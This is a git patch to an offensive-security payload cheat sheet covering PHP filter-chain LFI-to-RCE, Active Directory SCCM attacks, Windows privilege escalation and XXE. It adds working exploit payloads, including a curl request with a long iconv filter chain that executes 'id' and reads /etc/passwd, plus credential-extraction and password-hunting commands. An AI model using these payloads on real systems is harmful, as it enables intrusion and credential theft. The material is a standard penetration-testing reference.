From fe41254fde02ae1b3bf4deafd0826bcfb2e56c1c Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Mon, 24 Oct 2022 12:05:39 +0200 Subject: [PATCH] XXS Public Example + PHP Filter RCE --- File Inclusion/README.md | 28 +++++++++++------ .../Active Directory Attack.md | 7 +++-- .../Methodology and enumeration.md | 9 ++++-- .../Windows - Privilege Escalation.md | 31 +++++++++---------- XXE Injection/README.md | 8 ++--- 5 files changed, 48 insertions(+), 35 deletions(-) diff --git a/File Inclusion/README.md b/File Inclusion/README.md index bbcbe86..70676a2 100644 --- a/File Inclusion/README.md +++ b/File Inclusion/README.md @@ -131,7 +131,7 @@ When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still pos ### Wrapper php://filter -The part "php://filter" is case insensitive +The part "`php://filter`" is case insensitive ```powershell http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php @@ -148,22 +148,29 @@ http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encod NOTE: Wrappers can be chained multiple times using `|` or `/`: - Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s` -- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` +- deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php` ```powershell ./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php ``` -Also there is a way to turn the `php://filter` into a full RCE. Use [LFI2RCE.py](./LFI2RCE.py) to generate a custom payload. +Also there is a way to turn the `php://filter` into a full RCE. -```powershell -# vulnerable file: index.php -# vulnerable parameter: file -# executed command: id -# executed PHP code: -curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd" -``` +* [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain + ```powershell + $ python3 php_filter_chain_generator.py --chain '' + [+] The following gadget chain will generate the following code : (base64 value: PD9waHAgcGhwaW5mbygpOz8+) + php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp + ``` +* [LFI2RCE.py](./LFI2RCE.py) to generate a custom payload. + ```powershell + # vulnerable file: index.php + # vulnerable parameter: file + # executed command: id + # executed PHP code: + curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd" + ``` ### Wrapper zip:// @@ -476,3 +483,4 @@ If SSH is active check which user is being used `/proc/self/status` and `/etc/pa * [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376) * [LFI2RCE via PHP Filters - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters) * [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) +* [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) \ No newline at end of file diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md index db4c84f..6ae9c53 100644 --- a/Methodology and Resources/Active Directory Attack.md +++ b/Methodology and Resources/Active Directory Attack.md @@ -3663,9 +3663,10 @@ python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th NetworkAccessPassword : NetworkAccessUsername : ``` -* Using [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/Commands/SCCM.cs#L208-L244) for SCCM retrieval and decryption +* Using [GhostPack/SharpDPAPI](https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/Commands/SCCM.cs#L208-L244) or [Mayyhem/SharpSCCM](https://github.com/Mayyhem/SharpSCCM) for SCCM retrieval and decryption ```ps1 .\SharpDPAPI.exe SCCM + .\SharpSCCM.exe get naa -u USERNAME -p PASSWORD ``` * Check ACL for the CIM repository located at `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`: ```ps1 @@ -4048,4 +4049,6 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae * [Diamond tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/diamond) * [A Diamond (Ticket) in the Ruff - By CHARLIE CLARK July 05, 2022](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/) * [Sapphire tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/sapphire) -* [Exploiting RBCD Using a Normal User Account - tiraniddo.dev - Friday, 13 May 2022](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html) \ No newline at end of file +* [Exploiting RBCD Using a Normal User Account - tiraniddo.dev - Friday, 13 May 2022](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html) +* [Exploring SCCM by Unobfuscating Network Access Accounts - @_xpn_ - Posted on 2022-07-09](https://blog.xpnsec.com/unobfuscating-network-access-accounts/) +* [.NET Advanced Code Auditing XmlSerializer Deserialization Vulnerability - April 2, 2019 by znlive](https://znlive.com/xmlserializer-deserialization-vulnerability) \ No newline at end of file diff --git a/Methodology and Resources/Methodology and enumeration.md b/Methodology and Resources/Methodology and enumeration.md index 5a07049..e6d2081 100644 --- a/Methodology and Resources/Methodology and enumeration.md +++ b/Methodology and Resources/Methodology and enumeration.md @@ -41,6 +41,8 @@ gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2 ``` +* Perform Google Dorks search + ## Active recon @@ -74,7 +76,7 @@ ### Web discovery -* Locate `robots.txt` file +* Locate `robots.txt`, `security.txt`, `sitemap.xml` files * Retrieve comments in source code * Discover URL: [tomnomnom/waybackurls](github.com/tomnomnom/waybackurls) * Search for `hidden` parameters: [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) @@ -109,7 +111,10 @@ ## Looking for Web vulnerabilities -* Explore the website and look for vulnerabilities listed in this repository: SQL injection, XSS, CRLF, .... +* Explore the website and look for vulnerabilities listed in this repository: SQL injection, XSS, CRLF, Cookies, .... +* Test for Business Logic weaknesses + * High or negative numerical values + * Try all the features and click all the buttons * [The Web Application Hacker's Handbook Checklist](https://gist.github.com/gbedoya/10935137) copied from http://mdsec.net/wahh/tasks.html * Subscribe to the site and pay for the additional functionality to test diff --git a/Methodology and Resources/Windows - Privilege Escalation.md b/Methodology and Resources/Windows - Privilege Escalation.md index 7ee0386..57ec133 100644 --- a/Methodology and Resources/Windows - Privilege Escalation.md +++ b/Methodology and Resources/Windows - Privilege Escalation.md @@ -14,8 +14,8 @@ * [Default Writeable Folders](#default-writeable-folders) * [EoP - Looting for passwords](#eop---looting-for-passwords) * [SAM and SYSTEM files](#sam-and-system-files) - * [LAPS Settings](#laps-settings) * [HiveNightmare](#hivenightmare) + * [LAPS Settings](#laps-settings) * [Search for file contents](#search-for-file-contents) * [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename) * [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords) @@ -405,15 +405,6 @@ samdump2 SYSTEM SAM -o sam.txt Either crack it with `john -format=NT /root/sam.txt`, [hashcat](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md#hashcat) or use Pass-The-Hash. -### LAPS Settings - -Extract `HKLM\Software\Policies\Microsoft Services\AdmPwd` from Windows Registry. - -* LAPS Enabled: AdmPwdEnabled -* LAPS Admin Account Name: AdminAccountName -* LAPS Password Complexity: PasswordComplexity -* LAPS Password Length: PasswordLength -* LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled ### HiveNightmare @@ -443,6 +434,16 @@ mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\W mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY ``` +### LAPS Settings + +Extract `HKLM\Software\Policies\Microsoft Services\AdmPwd` from Windows Registry. + +* LAPS Enabled: AdmPwdEnabled +* LAPS Admin Account Name: AdminAccountName +* LAPS Password Complexity: PasswordComplexity +* LAPS Password Length: PasswordLength +* LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled + ### Search for file contents @@ -452,6 +453,10 @@ findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` +Also search in remote places such as SMB Shares and SharePoint. +* Search passwords in SharePoint: [nheiniger/SnaffPoint](https://github.com/nheiniger/SnaffPoint) +* Search passwords in SMB Shares: [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler) + ### Search for a file with a certain filename ```powershell @@ -477,12 +482,6 @@ reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s ``` -### Read a value of a certain sub key - -```powershell -REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList -``` - ### Passwords in unattend.xml Location of the unattend.xml files. diff --git a/XXE Injection/README.md b/XXE Injection/README.md index af91358..6e8f7f4 100644 --- a/XXE Injection/README.md +++ b/XXE Injection/README.md @@ -139,11 +139,9 @@ We try to display the content of the file `/etc/passwd` :warning: `SYSTEM` and `PUBLIC` are almost synonym. -```xml - - - ]>&xxe; +```ps1 + + ``` ### Classic XXE Base64 encoded